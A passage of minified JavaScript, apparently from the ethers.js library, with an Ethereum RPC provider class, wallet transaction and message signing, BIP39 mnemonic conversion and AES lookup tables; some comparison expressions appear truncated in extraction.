getHost(name){switch(name){case"mainnet":return"eth-mainnet.gateway.pokt.network";case"goerli":return"eth-goerli.gateway.pokt.network";case"matic":return"poly-mainnet.gateway.pokt.network";case"matic-mumbai":return"polygon-mumbai-rpc.gateway.pokt.network"}assertArgument(false,"unsupported network","network",name)}class PocketProvider extends JsonRpcProvider{applicationId;applicationSecret;constructor(_network,applicationId,applicationSecret){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(applicationId==null){applicationId=defaultApplicationId}if(applicationSecret==null){applicationSecret=null}const options={staticNetwork:network};const request=PocketProvider.getRequest(network,applicationId,applicationSecret);super(request,network,options);defineProperties(this,{applicationId:applicationId,applicationSecret:applicationSecret})}_getProvider(chainId){try{return new PocketProvider(chainId,this.applicationId,this.applicationSecret)}catch(error){}return super._getProvider(chainId)}static getRequest(network,applicationId,applicationSecret){if(applicationId==null){applicationId=defaultApplicationId}const request=new FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`);request.allowGzip=true;if(applicationSecret){request.setCredentials("",applicationSecret)}if(applicationId===defaultApplicationId){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("PocketProvider");return true}}return request}isCommunityResource(){return this.applicationId===defaultApplicationId}}const IpcSocketProvider=undefined;class BaseWallet extends AbstractSigner{address;#signingKey;constructor(privateKey,provider){super(provider);assertArgument(privateKey&&typeof privateKey.sign==="function","invalid private key","privateKey","[ REDACTED ]");this.#signingKey=privateKey;const address=computeAddress(this.signingKey.publicKey);defineProperties(this,{address:address})}get signingKey(){return this.#signingKey}get privateKey(){return this.signingKey.privateKey}async getAddress(){return this.address}connect(provider){return new BaseWallet(this.#signingKey,provider)}async signTransaction(tx){tx=copyRequest(tx);const{to,from}=await resolveProperties({to:tx.to?resolveAddress(tx.to,this):undefined,from:tx.from?resolveAddress(tx.from,this):undefined});if(to!=null){tx.to=to}if(from!=null){tx.from=from}if(tx.from!=null){assertArgument(getAddress(tx.from)===this.address,"transaction from address mismatch","tx.from",tx.from);delete tx.from}const btx=Transaction.from(tx);btx.signature=this.signingKey.sign(btx.unsignedHash);return btx.serialized}async signMessage(message){return this.signMessageSync(message)}signMessageSync(message){return this.signingKey.sign(hashMessage(message)).serialized}authorizeSync(auth){assertArgument(typeof auth.address==="string","invalid address for authorizeSync","auth.address",auth);const signature=this.signingKey.sign(hashAuthorization(auth));return Object.assign({},{address:getAddress(auth.address),nonce:getBigInt(auth.nonce||0),chainId:getBigInt(auth.chainId||0)},{signature:signature})}async authorize(auth){auth=Object.assign({},auth,{address:await resolveAddress(auth.address,this)});return this.authorizeSync(await this.populateAuthorization(auth))}async signTypedData(domain,types,value){const populated=await TypedDataEncoder.resolveNames(domain,types,value,async name=>{assert(this.provider!=null,"cannot resolve ENS names without a provider","UNSUPPORTED_OPERATION",{operation:"resolveName",info:{name:name}});const address=await this.provider.resolveName(name);assert(address!=null,"unconfigured ENS name","UNCONFIGURED_NAME",{value:name});return address});return this.signingKey.sign(TypedDataEncoder.hash(populated.domain,types,populated.value)).serialized}}const subsChrs=" !#$%&'()*+,-./<=>?@[]^_`{|}~";const Word=/^[a-z]*$/i;function unfold(words,sep){let initial=97;return words.reduce((accum,word)=>{if(word===sep){initial++}else if(word.match(Word)){accum.push(String.fromCharCode(initial)+word)}else{initial=97;accum.push(word)}return accum},[])}function decode(data,subs){for(let i=subsChrs.length-1;i>=0;i--){data=data.split(subsChrs[i]).join(subs.substring(2*i,2*i+2))}const clumps=[];const leftover=data.replace(/(:|([0-9])|([A-Z][a-z]*))/g,(all,item,semi,word)=>{if(semi){for(let i=parseInt(semi);i>=0;i--){clumps.push(";")}}else{clumps.push(item.toLowerCase())}return""});if(leftover){throw new Error(`leftovers: ${JSON.stringify(leftover)}`)}return unfold(unfold(clumps,";"),":")}function decodeOwl(data){assertArgument(data[0]==="0","unsupported auwl data","data",data);return decode(data.substring(1+2*subsChrs.length),data.substring(1,1+2*subsChrs.length))}class Wordlist{locale;constructor(locale){defineProperties(this,{locale:locale})}split(phrase){return phrase.toLowerCase().split(/\s+/g)}join(words){return words.join(" ")}}class WordlistOwl extends Wordlist{#data;#checksum;constructor(locale,data,checksum){super(locale);this.#data=data;this.#checksum=checksum;this.#words=null}get _data(){return this.#data}_decodeWords(){return decodeOwl(this.#data)}#words;#loadWords(){if(this.#words==null){const words=this._decodeWords();const checksum=id(words.join("\n")+"\n");if(checksum!==this.#checksum){throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`)}this.#words=words}return this.#words}getWord(index){const words=this.#loadWords();assertArgument(index>=0&&index=12&&words.length<=24,"invalid mnemonic length","mnemonic","[ REDACTED ]");const entropy=new Uint8Array(Math.ceil(11*words.length/8));let offset=0;for(let i=0;i=0,`invalid mnemonic word at index ${i}`,"mnemonic","[ REDACTED ]");for(let bit=0;bit<11;bit++){if(index&1<<10-bit){entropy[offset>>3]|=1<<7-offset%8}offset++}}const entropyBits=32*words.length/3;const checksumBits=words.length/3;const checksumMask=getUpperMask(checksumBits);const checksum=getBytes(sha256(entropy.slice(0,entropyBits/8)))[0]&checksumMask;assertArgument(checksum===(entropy[entropy.length-1]&checksumMask),"invalid mnemonic checksum","mnemonic","[ REDACTED ]");return hexlify(entropy.slice(0,entropyBits/8))}function entropyToMnemonic(entropy,wordlist){assertArgument(entropy.length%4===0&&entropy.length>=16&&entropy.length<=32,"invalid entropy size","entropy","[ REDACTED ]");if(wordlist==null){wordlist=LangEn.wordlist()}const indices=[0];let remainingBits=11;for(let i=0;i8){indices[indices.length-1]<<=8;indices[indices.length-1]|=entropy[i];remainingBits-=8}else{indices[indices.length-1]<<=remainingBits;indices[indices.length-1]|=entropy[i]>>8-remainingBits;indices.push(entropy[i]&getLowerMask(8-remainingBits));remainingBits+=3}}const checksumBits=entropy.length/4;const checksum=parseInt(sha256(entropy).substring(2,4),16)&getUpperMask(checksumBits);indices[indices.length-1]<<=checksumBits;indices[indices.length-1]|=checksum>>8-checksumBits;return wordlist.join(indices.map(index=>wordlist.getWord(index)))}const _guard$1={};class Mnemonic{phrase;password;wordlist;entropy;constructor(guard,entropy,phrase,password,wordlist){if(password==null){password=""}if(wordlist==null){wordlist=LangEn.wordlist()}assertPrivate(guard,_guard$1,"Mnemonic");defineProperties(this,{phrase:phrase,password:password,wordlist:wordlist,entropy:entropy})}computeSeed(){const salt=toUtf8Bytes("mnemonic"+this.password,"NFKD");return pbkdf2(toUtf8Bytes(this.phrase,"NFKD"),salt,2048,64,"sha512")}static fromPhrase(phrase,password,wordlist){const entropy=mnemonicToEntropy(phrase,wordlist);phrase=entropyToMnemonic(getBytes(entropy),wordlist);return new Mnemonic(_guard$1,entropy,phrase,password,wordlist)}static fromEntropy(_entropy,password,wordlist){const entropy=getBytes(_entropy,"entropy");const phrase=entropyToMnemonic(entropy,wordlist);return new Mnemonic(_guard$1,hexlify(entropy),phrase,password,wordlist)}static entropyToPhrase(_entropy,wordlist){const entropy=getBytes(_entropy,"entropy");return entropyToMnemonic(entropy,wordlist)}static phraseToEntropy(phrase,wordlist){return mnemonicToEntropy(phrase,wordlist)}static isValidMnemonic(phrase,wordlist){try{mnemonicToEntropy(phrase,wordlist);return true}catch(error){}return false}}var __classPrivateFieldGet$2=__$G&&__$G.__classPrivateFieldGet||function(receiver,state,kind,f){if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a getter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot read private member from an object whose class did not declare it");return kind==="m"?f:kind==="a"?f.call(receiver):f?f.value:state.get(receiver)};var __classPrivateFieldSet$2=__$G&&__$G.__classPrivateFieldSet||function(receiver,state,value,kind,f){if(kind==="m")throw new TypeError("Private method is not writable");if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a setter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot write private member to an object whose class did not declare it");return kind==="a"?f.call(receiver,value):f?f.value=value:state.set(receiver,value),value};var _AES_key,_AES_Kd,_AES_Ke;const numberOfRounds={16:10,24:12,32:14};const rcon=[1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145];const S=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22];const Si=[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125];const T1=[3328402341,4168907908,4000806809,4135287693,4294111757,3597364157,3731845041,2445657428,1613770832,33620227,3462883241,1445669757,3892248089,3050821474,1303096294,3967186586,2412431941,528646813,2311702848,4202528135,4026202645,2992200171,2387036105,4226871307,1101901292,3017069671,1604494077,1169141738,597466303,1403299063,3832705686,2613100635,1974974402,3791519004,1033081774,1277568618,1815492186,2118074177,4126668546,2211236943,1748251740,1369810420,3521504564,4193382664,3799085459,2883115123,1647391059,706024767,134480908,2512897874,1176707941,2646852446,806885416,932615841,168101135,798661301,235341577,605164086,461406363,3756188221,3454790438,1311188841,2142417613,3933566367,302582043,495158174,1479289972,874125870,907746093,3698224818,3025820398,1537253627,2756858614,1983593293,3084310113,2108928974,1378429307,3722699582,1580150641,327451799,2790478837,3117535592,0,3253595436,1075847264,3825007647,2041688520,3059440621,3563743934,2378943302,1740553945,1916352843,2487896798,2555137236,2958579944,2244988746,3151024235,3320835882,1336584933,3992714006,2252555205,2588757463,1714631509,293963156,2319795663,3925473552,67240454,4269768577,2689618160,2017213508,631218106,1269344483,2723238387,1571005438,2151694528,93294474,1066570413,563977660,1882732616,4059428100,1673313503,2008463041,2950355573,1109467491,537923632,3858759450,4260623118,3218264685,2177748300,403442708,638784309,3287084079,3193921505,899127202,2286175436,773265209,2479146071,1437050866,4236148354,2050833735,3362022572,3126681063,840505643,3866325909,3227541664,427917720,2655997905,2749160575,1143087718,1412049534,999329963,193497219,2353415882,3354324521,1807268051,672404540,2816401017,3160301282,369822493,2916866934,3688947771,1681011286,1949973070,336202270,2454276571,201721354,1210328172,3093060836,2680341085,3184776046,1135389935,3294782118,965841320,831886756,3554993207,4068047243,3588745010,2345191491,1849112409,3664604599,26054028,2983581028,2622377682,1235855840,3630984372,2891339514,4092916743,3488279077,3395642799,4101667470,1202630377,268961816,1874508501,4034427016,1243948399,1546530418,941366308,1470539505,1941222599,2546386513,3421038627,2715671932,3899946140,1042226977,2521517021,1639824860,227249030,260737669,3765465232,2084453954,1907733956,3429263018,2420656344,100860677,4160157185,470683154,3261161891,1781871967,2924959737,1773779408,394692241,2579611992,974986535,664706745,3655459128,3958962195,731420851,571543859,3530123707,2849626480,126783113,865375399,765172662,1008606754,361203602,3387549984,2278477385,2857719295,1344809080,2782912378,59542671,1503764984,160008576,437062935,1707065306,3622233649,2218934982,3496503480,2185314755,697932208,1512910199,504303377,2075177163,2824099068,1841019862,739644986];const T2=[2781242211,2230877308,2582542199,2381740923,234877682,3184946027,2984144751,1418839493,1348481072,50462977,2848876391,2102799147,434634494,1656084439,3863849899,2599188086,1167051466,2636087938,1082771913,2281340285,368048890,3954334041,3381544775,201060592,3963727277,1739838676,4250903202,3930435503,3206782108,4149453988,2531553906,1536934080,3262494647,484572669,2923271059,1783375398,1517041206,1098792767,49674231,1334037708,1550332980,4098991525,886171109,150598129,2481090929,1940642008,1398944049,1059722517,201851908,1385547719,1699095331,1587397571,674240536,2704774806,252314885,3039795866,151914247,908333586,2602270848,1038082786,651029483,1766729511,3447698098,2682942837,454166793,2652734339,1951935532,775166490,758520603,3000790638,4004797018,4217086112,4137964114,1299594043,1639438038,3464344499,2068982057,1054729187,1901997871,2534638724,4121318227,1757008337,0,750906861,1614815264,535035132,3363418545,3988151131,3201591914,1183697867,3647454910,1265776953,3734260298,3566750796,3903871064,1250283471,1807470800,717615087,3847203498,384695291,3313910595,3617213773,1432761139,2484176261,3481945413,283769337,100925954,2180939647,4037038160,1148730428,3123027871,3813386408,4087501137,4267549603,3229630528,2315620239,2906624658,3156319645,1215313976,82966005,3747855548,3245848246,1974459098,1665278241,807407632,451280895,251524083,1841287890,1283575245,337120268,891687699,801369324,3787349855,2721421207,3431482436,959321879,1469301956,4065699751,2197585534,1199193405,2898814052,3887750493,724703513,2514908019,2696962144,2551808385,3516813135,2141445340,1715741218,2119445034,2872807568,2198571144,3398190662,700968686,3547052216,1009259540,2041044702,3803995742,487983883,1991105499,1004265696,1449407026,1316239930,504629770,3683797321,168560134,1816667172,3837287516,1570751170,1857934291,4014189740,2797888098,2822345105,2754712981,936633572,2347923833,852879335,1133234376,1500395319,3084545389,2348912013,1689376213,3533459022,3762923945,3034082412,4205598294,133428468,634383082,2949277029,2398386810,3913789102,403703816,3580869306,2297460856,1867130149,1918643758,607656988,4049053350,3346248884,1368901318,600565992,2090982877,2632479860,557719327,3717614411,3697393085,2249034635,2232388234,2430627952,1115438654,3295786421,2865522278,3633334344,84280067,33027830,303828494,2747425121,1600795957,4188952407,3496589753,2434238086,1486471617,658119965,3106381470,953803233,334231800,3005978776,857870609,3151128937,1890179545,2298973838,2805175444,3056442267,574365214,2450884487,550103529,1233637070,4289353045,2018519080,2057691103,2399374476,4166623649,2148108681,387583245,3664101311,836232934,3330556482,3100665960,3280093505,2955516313,2002398509,287182607,3413881008,4238890068,3597515707,975967766];const T3=[1671808611,2089089148,2006576759,2072901243,4061003762,1807603307,1873927791,3310653893,810573872,16974337,1739181671,729634347,4263110654,3613570519,2883997099,1989864566,3393556426,2191335298,3376449993,2106063485,4195741690,1508618841,1204391495,4027317232,2917941677,3563566036,2734514082,2951366063,2629772188,2767672228,1922491506,3227229120,3082974647,4246528509,2477669779,644500518,911895606,1061256767,4144166391,3427763148,878471220,2784252325,3845444069,4043897329,1905517169,3631459288,827548209,356461077,67897348,3344078279,593839651,3277757891,405286936,2527147926,84871685,2595565466,118033927,305538066,2157648768,3795705826,3945188843,661212711,2999812018,1973414517,152769033,2208177539,745822252,439235610,455947803,1857215598,1525593178,2700827552,1391895634,994932283,3596728278,3016654259,695947817,3812548067,795958831,2224493444,1408607827,3513301457,0,3979133421,543178784,4229948412,2982705585,1542305371,1790891114,3410398667,3201918910,961245753,1256100938,1289001036,1491644504,3477767631,3496721360,4012557807,2867154858,4212583931,1137018435,1305975373,861234739,2241073541,1171229253,4178635257,33948674,2139225727,1357946960,1011120188,2679776671,2833468328,1374921297,2751356323,1086357568,2408187279,2460827538,2646352285,944271416,4110742005,3168756668,3066132406,3665145818,560153121,271589392,4279952895,4077846003,3530407890,3444343245,202643468,322250259,3962553324,1608629855,2543990167,1154254916,389623319,3294073796,2817676711,2122513534,1028094525,1689045092,1575467613,422261273,1939203699,1621147744,2174228865,1339137615,3699352540,577127458,712922154,2427141008,2290289544,1187679302,3995715566,3100863416,339486740,3732514782,1591917662,186455563,3681988059,3762019296,844522546,978220090,169743370,1239126601,101321734,611076132,1558493276,3260915650,3547250131,2901361580,1655096418,2443721105,2510565781,3828863972,2039214713,3878868455,3359869896,928607799,1840765549,2374762893,3580146133,1322425422,2850048425,1823791212,1459268694,4094161908,3928346602,1706019429,2056189050,2934523822,135794696,3134549946,2022240376,628050469,779246638,472135708,2800834470,3032970164,3327236038,3894660072,3715932637,1956440180,522272287,1272813131,3185336765,2340818315,2323976074,1888542832,1044544574,3049550261,1722469478,1222152264,50660867,4127324150,236067854,1638122081,895445557,1475980887,3117443513,2257655686,3243809217,489110045,2662934430,3778599393,4162055160,2561878936,288563729,1773916777,3648039385,2391345038,2493985684,2612407707,505560094,2274497927,3911240169,3460925390,1442818645,678973480,3749357023,2358182796,2717407649,2306869641,219617805,3218761151,3862026214,1120306242,1756942440,1103331905,2578459033,762796589,252780047,2966125488,1425844308,3151392187,372911126];const T4=[1667474886,2088535288,2004326894,2071694838,4075949567,1802223062,1869591006,3318043793,808472672,16843522,1734846926,724270422,4278065639,3621216949,2880169549,1987484396,3402253711,2189597983,3385409673,2105378810,4210693615,1499065266,1195886990,4042263547,2913856577,3570689971,2728590687,2947541573,2627518243,2762274643,1920112356,3233831835,3082273397,4261223649,2475929149,640051788,909531756,1061110142,4160160501,3435941763,875846760,2779116625,3857003729,4059105529,1903268834,3638064043,825316194,353713962,67374088,3351728789,589522246,3284360861,404236336,2526454071,84217610,2593830191,117901582,303183396,2155911963,3806477791,3958056653,656894286,2998062463,1970642922,151591698,2206440989,741110872,437923380,454765878,1852748508,1515908788,2694904667,1381168804,993742198,3604373943,3014905469,690584402,3823320797,791638366,2223281939,1398011302,3520161977,0,3991743681,538992704,4244381667,2981218425,1532751286,1785380564,3419096717,3200178535,960056178,1246420628,1280103576,1482221744,3486468741,3503319995,4025428677,2863326543,4227536621,1128514950,1296947098,859002214,2240123921,1162203018,4193849577,33687044,2139062782,1347481760,1010582648,2678045221,2829640523,1364325282,2745433693,1077985408,2408548869,2459086143,2644360225,943212656,4126475505,3166494563,3065430391,3671750063,555836226,269496352,4294908645,4092792573,3537006015,3452783745,202118168,320025894,3974901699,1600119230,2543297077,1145359496,387397934,3301201811,2812801621,2122220284,1027426170,1684319432,1566435258,421079858,1936954854,1616945344,2172753945,1330631070,3705438115,572679748,707427924,2425400123,2290647819,1179044492,4008585671,3099120491,336870440,3739122087,1583276732,185277718,3688593069,3772791771,842159716,976899700,168435220,1229577106,101059084,606366792,1549591736,3267517855,3553849021,2897014595,1650632388,2442242105,2509612081,3840161747,2038008818,3890688725,3368567691,926374254,1835907034,2374863873,3587531953,1313788572,2846482505,1819063512,1448540844,4109633523,3941213647,1701162954,2054852340,2930698567,134748176,3132806511,2021165296,623210314,774795868,471606328,2795958615,3031746419,3334885783,3907527627,3722280097,1953799400,522133822,1263263126,3183336545,2341176845,2324333839,1886425312,1044267644,3048588401,1718004428,1212733584,50529542,4143317495,235803164,1633788866,892690282,1465383342,3115962473,2256965911,3250673817,488449850,2661202215,3789633753,4177007595,2560144171,286339874,1768537042,3654906025,2391705863,2492770099,2610673197,505291324,2273808917,3924369609,3469625735,1431699370,673740880,3755965093,2358021891,2711746649,2307489801,218961690,3217021541,3873845719,1111672452,1751693520,1094828930,2576986153,757954394,252645662,2964376443,1414855848,3149649517,370555436];const T5=[1374988112,2118214995,437757123,975658646,1001089995,530400753,2902087851,1273168787,540080725,2910219766,2295101073,4110568485,1340463100,3307916247,641025152,3043140495,3736164937,632953703,1172967064,1576976609,3274667266,2169303058,2370213795,1809054150,59727847,361929877,3211623147,2505202138,3569255213,1484005843,1239443753,2395588676,1975683434,4102977912,2572697195,666464733,3202437046,4035489047,3374361702,2110667444,1675577880,3843699074,2538681184,1649639237,2976151520,3144396420,4269907996,4178062228,1883793496,2403728665,2497604743,1383856311,2876494627,1917518562,3810496343,1716890410,3001755655,800440835,2261089178,3543599269,807962610,599762354,33778362,3977675356,2328828971,2809771154,4077384432,1315562145,1708848333,101039829,3509871135,3299278474,875451293,2733856160,92987698,2767645557,193195065,1080094634,1584504582,3178106961,1042385657,2531067453,3711829422,1306967366,2438237621,1908694277,67556463,1615861247,429456164,3602770327,2302690252,1742315127,2968011453,126454664,3877198648,2043211483,2709260871,2084704233,4169408201,0,159417987,841739592,504459436,1817866830,4245618683,260388950,1034867998,908933415,168810852,1750902305,2606453969,607530554,202008497,2472011535,3035535058,463180190,2160117071,1641816226,1517767529,470948374,3801332234,3231722213,1008918595,303765277,235474187,4069246893,766945465,337553864,1475418501,2943682380,4003061179,2743034109,4144047775,1551037884,1147550661,1543208500,2336434550,3408119516,3069049960,3102011747,3610369226,1113818384,328671808,2227573024,2236228733,3535486456,2935566865,3341394285,496906059,3702665459,226906860,2009195472,733156972,2842737049,294930682,1206477858,2835123396,2700099354,1451044056,573804783,2269728455,3644379585,2362090238,2564033334,2801107407,2776292904,3669462566,1068351396,742039012,1350078989,1784663195,1417561698,4136440770,2430122216,775550814,2193862645,2673705150,1775276924,1876241833,3475313331,3366754619,270040487,3902563182,3678124923,3441850377,1851332852,3969562369,2203032232,3868552805,2868897406,566021896,4011190502,3135740889,1248802510,3936291284,699432150,832877231,708780849,3332740144,899835584,1951317047,4236429990,3767586992,866637845,4043610186,1106041591,2144161806,395441711,1984812685,1139781709,3433712980,3835036895,2664543715,1282050075,3240894392,1181045119,2640243204,25965917,4203181171,4211818798,3009879386,2463879762,3910161971,1842759443,2597806476,933301370,1509430414,3943906441,3467192302,3076639029,3776767469,2051518780,2631065433,1441952575,404016761,1942435775,1408749034,1610459739,3745345300,2017778566,3400528769,3110650942,941896748,3265478751,371049330,3168937228,675039627,4279080257,967311729,135050206,3635733660,1683407248,2076935265,3576870512,1215061108,3501741890];const T6=[1347548327,1400783205,3273267108,2520393566,3409685355,4045380933,2880240216,2471224067,1428173050,4138563181,2441661558,636813900,4233094615,3620022987,2149987652,2411029155,1239331162,1730525723,2554718734,3781033664,46346101,310463728,2743944855,3328955385,3875770207,2501218972,3955191162,3667219033,768917123,3545789473,692707433,1150208456,1786102409,2029293177,1805211710,3710368113,3065962831,401639597,1724457132,3028143674,409198410,2196052529,1620529459,1164071807,3769721975,2226875310,486441376,2499348523,1483753576,428819965,2274680428,3075636216,598438867,3799141122,1474502543,711349675,129166120,53458370,2592523643,2782082824,4063242375,2988687269,3120694122,1559041666,730517276,2460449204,4042459122,2706270690,3446004468,3573941694,533804130,2328143614,2637442643,2695033685,839224033,1973745387,957055980,2856345839,106852767,1371368976,4181598602,1033297158,2933734917,1179510461,3046200461,91341917,1862534868,4284502037,605657339,2547432937,3431546947,2003294622,3182487618,2282195339,954669403,3682191598,1201765386,3917234703,3388507166,0,2198438022,1211247597,2887651696,1315723890,4227665663,1443857720,507358933,657861945,1678381017,560487590,3516619604,975451694,2970356327,261314535,3535072918,2652609425,1333838021,2724322336,1767536459,370938394,182621114,3854606378,1128014560,487725847,185469197,2918353863,3106780840,3356761769,2237133081,1286567175,3152976349,4255350624,2683765030,3160175349,3309594171,878443390,1988838185,3704300486,1756818940,1673061617,3403100636,272786309,1075025698,545572369,2105887268,4174560061,296679730,1841768865,1260232239,4091327024,3960309330,3497509347,1814803222,2578018489,4195456072,575138148,3299409036,446754879,3629546796,4011996048,3347532110,3252238545,4270639778,915985419,3483825537,681933534,651868046,2755636671,3828103837,223377554,2607439820,1649704518,3270937875,3901806776,1580087799,4118987695,3198115200,2087309459,2842678573,3016697106,1003007129,2802849917,1860738147,2077965243,164439672,4100872472,32283319,2827177882,1709610350,2125135846,136428751,3874428392,3652904859,3460984630,3572145929,3593056380,2939266226,824852259,818324884,3224740454,930369212,2801566410,2967507152,355706840,1257309336,4148292826,243256656,790073846,2373340630,1296297904,1422699085,3756299780,3818836405,457992840,3099667487,2135319889,77422314,1560382517,1945798516,788204353,1521706781,1385356242,870912086,325965383,2358957921,2050466060,2388260884,2313884476,4006521127,901210569,3990953189,1014646705,1503449823,1062597235,2031621326,3212035895,3931371469,1533017514,350174575,2256028891,2177544179,1052338372,741876788,1606591296,1914052035,213705253,2334669897,1107234197,1899603969,3725069491,2631447780,2422494913,1635502980,1893020342,1950903388,1120974935];const T7=[2807058932,1699970625,2764249623,1586903591,1808481195,1173430173,1487645946,59984867,4199882800,1844882806,1989249228,1277555970,3623636965,3419915562,1149249077,2744104290,1514790577,459744698,244860394,3235995134,1963115311,4027744588,2544078150,4190530515,1608975247,2627016082,2062270317,1507497298,2200818878,567498868,1764313568,3359936201,2305455554,2037970062,1047239e3,1910319033,1337376481,2904027272,2892417312,984907214,1243112415,830661914,861968209,2135253587,2011214180,2927934315,2686254721,731183368,1750626376,4246310725,1820824798,4172763771,3542330227,48394827,2404901663,2871682645,671593195,3254988725,2073724613,145085239,2280796200,2779915199,1790575107,2187128086,472615631,3029510009,4075877127,3802222185,4107101658,3201631749,1646252340,4270507174,1402811438,1436590835,3778151818,3950355702,3963161475,4020912224,2667994737,273792366,2331590177,104699613,95345982,3175501286,2377486676,1560637892,3564045318,369057872,4213447064,3919042237,1137477952,2658625497,1119727848,2340947849,1530455833,4007360968,172466556,266959938,516552836,0,2256734592,3980931627,1890328081,1917742170,4294704398,945164165,3575528878,958871085,3647212047,2787207260,1423022939,775562294,1739656202,3876557655,2530391278,2443058075,3310321856,547512796,1265195639,437656594,3121275539,719700128,3762502690,387781147,218828297,3350065803,2830708150,2848461854,428169201,122466165,3720081049,1627235199,648017665,4122762354,1002783846,2117360635,695634755,3336358691,4234721005,4049844452,3704280881,2232435299,574624663,287343814,612205898,1039717051,840019705,2708326185,793451934,821288114,1391201670,3822090177,376187827,3113855344,1224348052,1679968233,2361698556,1058709744,752375421,2431590963,1321699145,3519142200,2734591178,188127444,2177869557,3727205754,2384911031,3215212461,2648976442,2450346104,3432737375,1180849278,331544205,3102249176,4150144569,2952102595,2159976285,2474404304,766078933,313773861,2570832044,2108100632,1668212892,3145456443,2013908262,418672217,3070356634,2594734927,1852171925,3867060991,3473416636,3907448597,2614737639,919489135,164948639,2094410160,2997825956,590424639,2486224549,1723872674,3157750862,3399941250,3501252752,3625268135,2555048196,3673637356,1343127501,4130281361,3599595085,2957853679,1297403050,81781910,3051593425,2283490410,532201772,1367295589,3926170974,895287692,1953757831,1093597963,492483431,3528626907,1446242576,1192455638,1636604631,209336225,344873464,1015671571,669961897,3375740769,3857572124,2973530695,3747192018,1933530610,3464042516,935293895,3454686199,2858115069,1863638845,3683022916,4085369519,3292445032,875313188,1080017571,3279033885,621591778,1233856572,2504130317,24197544,3017672716,3835484340,3247465558,2220981195,3060847922,1551124588,1463996600];const T8=[4104605777,1097159550,396673818,660510266,2875968315,2638606623,4200115116,3808662347,821712160,1986918061,3430322568,38544885,3856137295,718002117,893681702,1654886325,2975484382,3122358053,3926825029,4274053469,796197571,1290801793,1184342925,3556361835,2405426947,2459735317,1836772287,1381620373,3196267988,1948373848,3764988233,3385345166,3263785589,2390325492,1480485785,3111247143,3780097726,2293045232,548169417,3459953789,3746175075,439452389,1362321559,1400849762,1685577905,1806599355,2174754046,137073913,1214797936,1174215055,3731654548,2079897426,1943217067,1258480242,529487843,1437280870,3945269170,3049390895,3313212038,923313619,679998e3,3215307299,57326082,377642221,3474729866,2041877159,133361907,1776460110,3673476453,96392454,878845905,2801699524,777231668,4082475170,2330014213,4142626212,2213296395,1626319424,1906247262,1846563261,562755902,3708173718,1040559837,3871163981,1418573201,3294430577,114585348,1343618912,2566595609,3186202582,1078185097,3651041127,3896688048,2307622919,425408743,3371096953,2081048481,1108339068,2216610296,0,2156299017,736970802,292596766,1517440620,251657213,2235061775,2933202493,758720310,265905162,1554391400,1532285339,908999204,174567692,1474760595,4002861748,2610011675,3234156416,3693126241,2001430874,303699484,2478443234,2687165888,585122620,454499602,151849742,2345119218,3064510765,514443284,4044981591,1963412655,2581445614,2137062819,19308535,1928707164,1715193156,4219352155,1126790795,600235211,3992742070,3841024952,836553431,1669664834,2535604243,3323011204,1243905413,3141400786,4180808110,698445255,2653899549,2989552604,2253581325,3252932727,3004591147,1891211689,2487810577,3915653703,4237083816,4030667424,2100090966,865136418,1229899655,953270745,3399679628,3557504664,4118925222,2061379749,3079546586,2915017791,983426092,2022837584,1607244650,2118541908,2366882550,3635996816,972512814,3283088770,1568718495,3499326569,3576539503,621982671,2895723464,410887952,2623762152,1002142683,645401037,1494807662,2595684844,1335535747,2507040230,4293295786,3167684641,367585007,3885750714,1865862730,2668221674,2960971305,2763173681,1059270954,2777952454,2724642869,1320957812,2194319100,2429595872,2815956275,77089521,3973773121,3444575871,2448830231,1305906550,4021308739,2857194700,2516901860,3518358430,1787304780,740276417,1699839814,1592394909,2352307457,2272556026,188821243,1729977011,3687994002,274084841,3594982253,3613494426,2701949495,4162096729,322734571,2837966542,1640576439,484830689,1202797690,3537852828,4067639125,349075736,3342319475,4157467219,4255800159,1030690015,1155237496,2951971274,1757691577,607398968,2738905026,499347990,3794078908,1011452712,227885567,2818666809,213114376,3034881240,1455525988,3414450555,850817237,1817998408,3092726480];const 